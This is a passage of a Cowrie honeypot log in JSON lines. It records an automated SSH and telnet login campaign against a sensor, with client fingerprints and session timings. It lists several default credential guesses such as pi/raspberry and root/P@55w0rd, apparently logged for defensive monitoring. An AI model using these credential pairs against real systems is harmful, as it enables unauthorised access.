ha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:15.950242Z","src_ip":"45.153.34.112","session":"b518e9649246","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@1234","message":"login attempt [ubuntu/ubuntu@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:16.201046Z","src_ip":"45.153.34.112","session":"b518e9649246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43888,"dst_ip":"10.17.0.5","dst_port":23,"session":"e88d54a7a0c2","protocol":"telnet","message":"New connection: 192.119.13.58:43888 (10.17.0.5:23) [session: e88d54a7a0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:16.983790Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:17.314802Z","src_ip":"45.153.34.112","session":"b518e9649246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":60184,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f53d715be34","protocol":"ssh","message":"New connection: 45.153.34.112:60184 (10.17.0.5:22) [session: 3f53d715be34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:19.431649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:19.436706Z","src_ip":"45.153.34.112","session":"3f53d715be34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:19.519131Z","src_ip":"45.153.34.112","session":"3f53d715be34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:19.961588Z","src_ip":"45.153.34.112","session":"3f53d715be34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.655982971191406,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:21.008309Z","src_ip":"192.119.13.58","session":"d44c137e7baa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:21.046373Z","src_ip":"45.153.34.112","session":"3f53d715be34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.41070532798767,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:22.973182Z","src_ip":"192.119.13.58","session":"f09582bdb820","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":53780,"dst_ip":"10.17.0.5","dst_port":22,"session":"b95a9d637eeb","protocol":"ssh","message":"New connection: 45.153.34.112:53780 (10.17.0.5:22) [session: b95a9d637eeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:23.238369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:23.246130Z","src_ip":"45.153.34.112","session":"b95a9d637eeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:23.327976Z","src_ip":"45.153.34.112","session":"b95a9d637eeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:23.575229Z","src_ip":"45.153.34.112","session":"b95a9d637eeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:24.660574Z","src_ip":"45.153.34.112","session":"b95a9d637eeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":53804,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b9fbb9b34a3","protocol":"ssh","message":"New connection: 45.153.34.112:53804 (10.17.0.5:22) [session: 3b9fbb9b34a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:26.759761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:26.764804Z","src_ip":"45.153.34.112","session":"3b9fbb9b34a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:26.847051Z","src_ip":"45.153.34.112","session":"3b9fbb9b34a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:27.098072Z","src_ip":"45.153.34.112","session":"3b9fbb9b34a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:28.183179Z","src_ip":"45.153.34.112","session":"3b9fbb9b34a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58156,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a740fdd6956","protocol":"ssh","message":"New connection: 45.153.34.112:58156 (10.17.0.5:22) [session: 7a740fdd6956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:30.628437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:30.633760Z","src_ip":"45.153.34.112","session":"7a740fdd6956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:30.717551Z","src_ip":"45.153.34.112","session":"7a740fdd6956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:30.966395Z","src_ip":"45.153.34.112","session":"7a740fdd6956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:32.052419Z","src_ip":"45.153.34.112","session":"7a740fdd6956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58158,"dst_ip":"10.17.0.5","dst_port":22,"session":"b524e1999a90","protocol":"ssh","message":"New connection: 45.153.34.112:58158 (10.17.0.5:22) [session: b524e1999a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:34.158277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:34.162977Z","src_ip":"45.153.34.112","session":"b524e1999a90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:34.244630Z","src_ip":"45.153.34.112","session":"b524e1999a90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:34.489330Z","src_ip":"45.153.34.112","session":"b524e1999a90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37308,"dst_ip":"10.17.0.5","dst_port":23,"session":"314bccd4c355","protocol":"telnet","message":"New connection: 192.119.13.58:37308 (10.17.0.5:23) [session: 314bccd4c355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:35.249238Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:35.633128Z","src_ip":"45.153.34.112","session":"b524e1999a90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.62165594100952,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:36.703638Z","src_ip":"192.119.13.58","session":"921c25c1f0be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":58160,"dst_ip":"10.17.0.5","dst_port":22,"session":"18484a492ee8","protocol":"ssh","message":"New connection: 45.153.34.112:58160 (10.17.0.5:22) [session: 18484a492ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:37.741094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:37.746079Z","src_ip":"45.153.34.112","session":"18484a492ee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:37.882423Z","src_ip":"45.153.34.112","session":"18484a492ee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:38.267710Z","src_ip":"45.153.34.112","session":"18484a492ee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50708,"dst_ip":"10.17.0.5","dst_port":23,"session":"7deef9ba66e2","protocol":"telnet","message":"New connection: 192.119.13.58:50708 (10.17.0.5:23) [session: 7deef9ba66e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:38.511348Z"}
{"eventid":"cowrie.session.closed","duration":42.15356922149658,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:38.648630Z","src_ip":"192.119.13.58","session":"d927e9998e44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:39.352581Z","src_ip":"45.153.34.112","session":"18484a492ee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39458,"dst_ip":"10.17.0.5","dst_port":22,"session":"aff68b1ee82e","protocol":"ssh","message":"New connection: 45.153.34.112:39458 (10.17.0.5:22) [session: aff68b1ee82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:41.716770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:41.723746Z","src_ip":"45.153.34.112","session":"aff68b1ee82e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:41.805931Z","src_ip":"45.153.34.112","session":"aff68b1ee82e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:42.053413Z","src_ip":"45.153.34.112","session":"aff68b1ee82e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:43.138616Z","src_ip":"45.153.34.112","session":"aff68b1ee82e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":39464,"dst_ip":"10.17.0.5","dst_port":22,"session":"33b597130e57","protocol":"ssh","message":"New connection: 45.153.34.112:39464 (10.17.0.5:22) [session: 33b597130e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:45.202041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:16:45.207282Z","src_ip":"45.153.34.112","session":"33b597130e57","protocol":"ssh"}
